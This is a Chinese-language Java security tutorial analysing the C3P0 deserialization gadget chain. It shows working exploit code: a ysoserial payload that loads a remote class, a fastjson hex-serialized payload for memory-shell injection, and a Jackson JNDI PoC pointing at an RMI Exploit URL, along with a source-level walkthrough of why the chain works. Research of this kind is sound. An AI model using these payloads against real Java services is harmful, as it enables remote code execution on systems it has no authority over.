淺談Java安全之C3P0鏈利用與分析
0x00 前言
在一些比較極端情況下,C3P0鏈的使用還是挺頻繁的。
0x01 利用方式
利用方式
在C3P0中有三種利用方式
- http base
- JNDI
- HEX序列化字節(jié)加載器
在原生的反序列化中如果找不到其他鏈,則可嘗試C3P0去加載遠(yuǎn)程的類進(jìn)行命令執(zhí)行。JNDI則適用于Jackson等利用。而HEX序列化字節(jié)加載器的方式可以利用與fj和Jackson等不出網(wǎng)情況下打入內(nèi)存馬使用。
http base使用
使用也很簡單,可以直接使用yso生成數(shù)據(jù)進(jìn)行發(fā)送到服務(wù)端,然后加載到指定的遠(yuǎn)程類。
public class test1 {
public static void main(String[] args) throws Exception {
C3P0 c3P0 = new C3P0();
Object object = c3P0.getObject("http://127.0.0.1:80/:exp");
byte[] serialize = Serializer.serialize(object);
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(serialize);
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
Object o = objectInputStream.readObject();
}
}

0x02 C3P0分析
構(gòu)造分析
public Object getObject ( String command ) throws Exception {
int sep = command.lastIndexOf(':');
if ( sep < 0 ) {
throw new IllegalArgumentException("Command format is: <base_url>:<classname>");
}
String url = command.substring(0, sep);
String className = command.substring(sep + 1);
PoolBackedDataSource b = Reflections.createWithoutConstructor(PoolBackedDataSource.class);
Reflections.getField(PoolBackedDataSourceBase.class, "connectionPoolDataSource").set(b, new PoolSource(className, url));
return b;
}
private static final class PoolSource implements ConnectionPoolDataSource, Referenceable {
private String className;
private String url;
public PoolSource ( String className, String url ) {
this.className = className;
this.url = url;
}
public Reference getReference () throws NamingException {
return new Reference("exploit", this.className, this.url);
}
......
}
代碼比較簡單,反射創(chuàng)建了一個PoolBackedDataSource實例對象,然后反射將connectionPoolDataSource的值設(shè)置為PoolSource類的實例,傳遞className和url參數(shù)。即我們傳入的遠(yuǎn)程地址和類名。
在序列化的時候會去調(diào)用我們的com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase#writeObject

這行代碼走到了catch代碼塊里面,因為我們傳入的this.connectionPoolDataSource即PoolSource類是不可被序列化的。
繼續(xù)走到下面代碼來看。

public IndirectlySerialized indirectForm(Object var1) throws Exception {
Reference var2 = ((Referenceable)var1).getReference();
return new ReferenceIndirector.ReferenceSerialized(var2, this.name, this.contextName, this.environmentProperties);
}
調(diào)用我們傳遞的this.connectionPoolDataSource的getReference();方法。來獲取到一個Reference這也是前面為我們要重寫這個方法的原因。
實例ReferenceIndirector.ReferenceSerialized將剛剛獲取的Reference傳遞進(jìn)去。


利用分析
反序列化入口為com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase#readObject

調(diào)用readObject內(nèi)部會調(diào)用ReferenceIndirector.getObject()



Class.forName ,如果可以控制forName?法的第?個和第三個參數(shù),并且第?個參數(shù)為 true,那么就可以利?BCEL, ClassLoader實現(xiàn)任意代碼加載執(zhí)? 。
把代碼摳出來測試一下
ClassLoader var6 = Thread.currentThread().getContextClassLoader();
URL var8 = new URL("http://127.0.0.1:80");
URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{var8}, var6);
Class var12 = Class.forName("exp", true, urlClassLoader);

跟蹤了一下forName0是native修飾的內(nèi)部使用C/C++實現(xiàn)無法進(jìn)行查看。
來看到官方的講解。
Returns the Class object associated with the class or interface with the given string name, using the given class loader. Given the fully qualified name for a class or interface (in the same format returned by getName) this method attempts to locate, load, and link the class or interface. The specified class loader is used to load the class or interface. If the parameter loader is null, the class is loaded through the bootstrap class loader. The class is initialized only if the initialize parameter is true and if it has not been initialized earlier.
翻譯大概的意思就是返回一個給定類或者接口的一個 Class 對象,如果沒有給定 classloader, 那么會使用根類加載器。如果initalize這個參數(shù)傳了 true,那么給定的類如果之前沒有被初始化過,那么會被初始化。
也就是說我們的exp會被初始化,執(zhí)行我們static代碼塊中的惡意代碼。
HEX序列化字節(jié)加載器
{"e":{"@type":"java.lang.Class","val":"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource"},"f":{"@type":"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource","userOverridesAsString":"HexAsciiSerializedMap:hex編碼內(nèi)容;"}}
在fj反序列化userOverridesAsString調(diào)用settingsetter傳入以HexAsciiSerializedMap開頭的字符串進(jìn)行解碼并觸發(fā)原生反序列化。

來看到調(diào)用流程。下面調(diào)用到這里
this.vcs.fireVetoableChange("userOverridesAsString", oldVal, userOverridesAsString);
一路跟蹤來到com.mchange.v2.c3p0.impl.C3P0ImplUtils#parseUserOverridesAsString中
public static Map parseUserOverridesAsString(String userOverridesAsString) throws IOException, ClassNotFoundException {
if (userOverridesAsString != null) {
String hexAscii = userOverridesAsString.substring("HexAsciiSerializedMap".length() + 1, userOverridesAsString.length() - 1);
byte[] serBytes = ByteUtils.fromHexAscii(hexAscii);
return Collections.unmodifiableMap((Map)SerializableUtils.fromByteArray(serBytes));
} else {
return Collections.EMPTY_MAP;
}
}
將HexAsciiSerializedMap中內(nèi)容提取出來進(jìn)行反序列化

JNDI利用
public static void main(String[] args) throws IOException, JsonProcessingException {
String poc = "{\"object\":[\"com.mchange.v2.c3p0.JndiRefForwardingDataSource\",{\"jndiName\":\"rmi://localhost:8088/Exploit\", \"loginTimeout\":0}]}";
System.out.println(poc);
ObjectMapper objectMapper = new ObjectMapper();
objectMapper.enableDefaultTyping();
objectMapper.readValue(poc, Person.class);
}
jackson和fastjson特性一樣會調(diào)用setter,這里利用的是JndiRefDataSourceBase中的setjndiName
0x03 結(jié)尾
構(gòu)造序列化payload時,C3P0版本也會對漏洞利用有所影響。
到此這篇關(guān)于淺談Java安全之C3P0鏈利用與分析的文章就介紹到這了,更多相關(guān)Java C3P0鏈內(nèi)容請搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持腳本之家!
相關(guān)文章
Java數(shù)據(jù)脫敏實現(xiàn)的方法總結(jié)
數(shù)據(jù)脫敏,指的是對某些敏感信息通過脫敏規(guī)則進(jìn)行數(shù)據(jù)的變形,實現(xiàn)敏感隱私數(shù)據(jù)的可靠保護(hù),本文主要是對后端數(shù)據(jù)脫敏實現(xiàn)的簡單總結(jié),希望對大家有所幫助2023-07-07
基于SpringBoot整合oauth2實現(xiàn)token認(rèn)證
這篇文章主要介紹了基于SpringBoot整合oauth2實現(xiàn)token 認(rèn)證,文中通過示例代碼介紹的非常詳細(xì),對大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價值,需要的朋友可以參考下2020-01-01
java反射機(jī)制的一些學(xué)習(xí)心得小結(jié)
這篇文章主要給大家介紹了關(guān)于java反射機(jī)制的一些學(xué)習(xí)心得,文中通過示例代碼介紹的非常詳細(xì),對大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價值,需要的朋友們下面隨著小編來一起學(xué)習(xí)學(xué)習(xí)吧2021-02-02
在Mybatis使用Integer與''進(jìn)行比較的坑及解決
這篇文章主要介紹了在Mybatis使用Integer與''進(jìn)行比較的坑及解決方案,具有很好的參考價值,希望對大家有所幫助。如有錯誤或未考慮完全的地方,望不吝賜教2023-03-03

